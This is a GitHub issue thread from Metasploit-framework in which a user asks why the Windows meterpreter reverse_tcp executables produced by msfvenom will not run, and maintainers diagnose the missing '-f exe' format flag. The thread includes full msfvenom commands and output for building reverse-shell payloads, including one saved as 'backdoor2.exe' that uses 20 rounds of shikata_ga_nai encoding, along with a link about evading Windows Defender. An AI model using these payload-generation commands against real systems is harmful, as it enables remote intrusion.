Metasploit-framework: windows payloads, executable of 1kb and unable to execute it.

[Fabio-Git-dev]

both on a specific exe or a new one generated by the program.

msfvenom -p windows/meterpreter/reverse_tcp lhost=xxxx lport=xxxx -o /pathoffile.

Same thing with encoders.

[bcoles]

Use -f to specify the output format.

$ ruby2.5 ./msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=1337 -f exe -o outfile
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: outfile
$ file outfile 
outfile: PE32 executable (GUI) Intel 80386, for MS Windows

$ ruby2.5 -W0 ./msfvenom --list formats

Framework Executable Formats [--format <value>]
===============================================

    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
    elf
    elf-so
    exe
    exe-only
    exe-service
    exe-small
    hta-psh
    jar
    jsp
    loop-vbs
    macho
    msi
    msi-nouac
    osx-app
    psh
    psh-cmd
    psh-net
    psh-reflection
    python-reflection
    vba
    vba-exe
    vba-psh
    vbs
    war

Framework Transform Formats [--format <value>]
==============================================

    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
    dword
    hex
    java
    js_be
    js_le
    num
    perl
    pl
    powershell
    ps1
    py
    python
    raw
    rb
    ruby
    sh
    vbapplication
    vbscript

You'll probably also want to specify an arch with -a.

$ ruby2.5 -W0 ./msfvenom --list archs

Framework Architectures [--arch <value>]
========================================

    Name
    ----
    aarch64
    armbe
    armle
    cbea
    cbea64
    cmd
    dalvik
    firefox
    java
    mips
    mips64
    mips64le
    mipsbe
    mipsle
    nodejs
    php
    ppc
    ppc64
    ppc64le
    ppce500v2
    python
    r
    ruby
    sparc
    sparc64
    tty
    x64
    x86
    x86_64
    zarch

[Fabio-Git-dev]

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx --encrypt base64 -e x86/shikata_ga_nai -i 20 -o /root/Desktop/backdoor2.exe

i tried like this this time, and still unable to execute

[bcoles]

What does unable to execute mean ?

It successfully generates a base64 string for me.

# ruby2.5 -W0 ./msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.16.191.165 LPORT=1337 --encrypt base64 -e x86/shikata_ga_nai -i 20 -o /root/Desktop/backdoor2.exe
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai succeeded with size 449 (iteration=3)
x86/shikata_ga_nai succeeded with size 476 (iteration=4)
x86/shikata_ga_nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530 (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai succeeded with size 584 (iteration=8)
x86/shikata_ga_nai succeeded with size 611 (iteration=9)
x86/shikata_ga_nai succeeded with size 638 (iteration=10)
x86/shikata_ga_nai succeeded with size 665 (iteration=11)
x86/shikata_ga_nai succeeded with size 692 (iteration=12)
x86/shikata_ga_nai succeeded with size 719 (iteration=13)
x86/shikata_ga_nai succeeded with size 746 (iteration=14)
x86/shikata_ga_nai succeeded with size 773 (iteration=15)
x86/shikata_ga_nai succeeded with size 800 (iteration=16)
x86/shikata_ga_nai succeeded with size 827 (iteration=17)
x86/shikata_ga_nai succeeded with size 854 (iteration=18)
x86/shikata_ga_nai succeeded with size 881 (iteration=19)
x86/shikata_ga_nai chosen with final size 881
Payload size: 881 bytes
Saved as: /root/Desktop/backdoor2.exe
# file /root/Desktop/backdoor2.exe
/root/Desktop/backdoor2.exe: ASCII text, with very long lines, with no line terminators

[Fabio-Git-dev]

It means that when i try to start the exe on my host machine, windows itself gives the error: unable to execute this product on your computer, contact the admin or get a newer version
and no connection can be estabilished

[bcoles]

Try without --encrypt base64.

When using the --encrypt base64 argument, the generated payload is a Base64 encoded string. I'm fairly sure that's intentional so you can write your own loader.

https://blog.rapid7.com/2018/05/03/hiding-metasploit-shellcode-to-evade-windows-defender/

[Fabio-Git-dev]

without the --encrypt it's still the same, even if i generate a normal payload without encoders ecc, it makes that.

[timwr]

You're missing the -f exe to create an executable.

$ ./msfvenom windows -p windows/meterpreter/reverse_tcp LHOST=172.16.191.165 LPORT=1337 -o output.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Saved as: output.exe
$ file output.exe
output.exe: data
$ ./msfvenom windows -p windows/meterpreter/reverse_tcp LHOST=172.16.191.165 LPORT=1337 -f exe -o output.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: output.exe
$ file output.exe
output.exe: PE32 executable (GUI) Intel 80386, for MS Windows

[Fabio-Git-dev]

I did with -f exe too, the result is the same